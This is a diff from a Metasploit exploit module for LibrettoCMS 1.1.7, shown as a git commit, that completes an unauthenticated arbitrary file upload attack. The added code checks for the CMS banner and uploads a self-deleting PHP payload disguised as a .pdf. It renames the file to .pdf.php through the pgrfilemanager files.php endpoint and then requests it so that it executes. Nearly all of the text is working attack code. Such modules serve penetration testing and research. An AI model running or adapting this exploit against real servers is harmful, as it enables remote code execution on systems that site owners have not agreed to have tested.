@@ -15,9 +15,12 @@ class Metasploit3 < Msf::Exploit::Remote
15
15
16
16
def initialize ( info = { } )
17
17
super ( update_info ( info ,
18
- 'Name' => "Libretto CMS Arbitary File Upload Vulnerability" ,
18
+ 'Name' => "LibrettoCMS File Manager Arbitary File Upload Vulnerability" ,
19
19
'Description' => %q{
20
- Whatever
20
+ This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and
21
+ possibly prior. Attackers bypass the file extension check and abuse the upload
22
+ feature in order to upload a malicious PHP file without authentication, which
23
+ results in arbitary remote code execution.
21
24
} ,
22
25
'License' => MSF_LICENSE ,
23
26
'Author' =>
@@ -27,6 +30,7 @@ def initialize(info={})
27
30
] ,
28
31
'References' =>
29
32
[
33
+ [ 'OSVDB' , '94391' ] ,
30
34
[ 'EDB' , '26213' ]
31
35
] ,
32
36
'Payload' =>
@@ -40,7 +44,7 @@ def initialize(info={})
40
44
[ 'Linux x86' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ]
41
45
] ,
42
46
'Privileged' => false ,
43
- 'DisclosureDate' => "Jun 17 2013" ,
47
+ 'DisclosureDate' => "Jun 14 2013" ,
44
48
'DefaultTarget' => 0 ) )
45
49
46
50
register_options (
@@ -56,12 +60,23 @@ def peer
56
60
57
61
58
62
def check
63
+ res = send_request_raw ( { 'uri' => normalize_uri ( target_uri . path ) } )
64
+ if not res
65
+ print_error ( "#{ peer } - Connection timed out" )
66
+ return Exploit ::CheckCode ::Unknown
67
+ end
68
+
69
+ if res . body =~ /Powered by <a href=".+">Libretto CMS/
70
+ return Exploit ::CheckCode ::Detected
71
+ end
72
+
73
+ Exploit ::CheckCode ::Safe
59
74
end
60
75
61
76
62
77
def upload ( base )
63
78
p = get_write_exec_payload ( :unlink_self => true )
64
- fname = "payload.php.doc "
79
+ fname = "#{ Rex :: Text . rand_text_alpha ( 6 ) } .pdf "
65
80
66
81
data = Rex ::MIME ::Message . new
67
82
data . add_part ( fname , nil , nil , "form-data; name=\" Filename\" " )
@@ -79,16 +94,23 @@ def upload(base)
79
94
'vars_get' => { 'type' => 'all files' }
80
95
} )
81
96
82
- return fname
97
+ if not res
98
+ fail_with ( Exploit ::Failure ::Unknown , "#{ peer } - Request timed out while uploading" )
99
+ elsif res . code . to_i != 200
100
+ fail_with ( Exploit ::Failure ::UnexpectedReply , "#{ peer } - Unknown reply: #{ res . code . to_s } " )
101
+ end
102
+
103
+ fname
83
104
end
84
105
85
106
86
107
def rename ( base , original_fname )
87
- new_name = "BBBBBBBB. pdf"
88
- uri = normalize_uri ( base , 'adm' , 'ui' , 'js' , 'ckeditor' , 'plugin ' , 'pgrfilemanager' , 'php' , 'files.php' )
108
+ new_name = "#{ Rex :: Text . rand_text_alpha ( 5 ) } . pdf.php "
109
+ uri = normalize_uri ( base , 'adm' , 'ui' , 'js' , 'ckeditor' , 'plugins ' , 'pgrfilemanager' , 'php' , 'files.php' )
89
110
res = send_request_cgi ( {
90
111
'method' => 'POST' ,
91
112
'uri' => uri ,
113
+ 'vars_get' => { 'type' => 'all files' } ,
92
114
'vars_post' => {
93
115
'fun' => 'renameFile' ,
94
116
'dir' => '' ,
@@ -97,25 +119,34 @@ def rename(base, original_fname)
97
119
}
98
120
} )
99
121
100
- return new_name
122
+ if not res
123
+ fail_with ( Exploit ::Failure ::Unknown , "#{ peer } - Request timed out while renaming" )
124
+ elsif res . body !~ /"res":"OK"/
125
+ fail_with ( Exploit ::Failure ::Unknown , "#{ peer } - Failed to rename file" )
126
+ end
127
+
128
+ new_name
101
129
end
102
130
103
131
104
132
def exec ( base , payload_fname )
105
-
133
+ res = send_request_cgi ( { 'uri' => normalize_uri ( base , 'userfiles' , payload_fname ) } )
134
+ if res and res . code . to_i == 404
135
+ fail_with ( Exploit ::Failure ::NotFound , "#{ peer } - Not found: #{ payload_fname } " )
136
+ end
106
137
end
107
138
108
139
109
140
def exploit
110
141
base = target_uri . path
111
142
112
143
print_status ( "#{ peer } - Uploading malicious file..." )
113
- fname = upload ( base )
144
+ orig_fname = upload ( base )
114
145
115
- print_status ( "#{ peer } - Renaming #{ fname } ..." )
116
- fname = rename ( base , fname )
146
+ print_status ( "#{ peer } - Renaming #{ orig_fname } ..." )
147
+ new_fname = rename ( base , orig_fname )
117
148
118
- print_status ( "#{ peer } - Executing #{ fname } ..." )
119
- exec ( base , fname )
149
+ print_status ( "#{ peer } - Executing #{ new_fname } ..." )
150
+ exec ( base , new_fname )
120
151
end
121
152
end
0 commit comments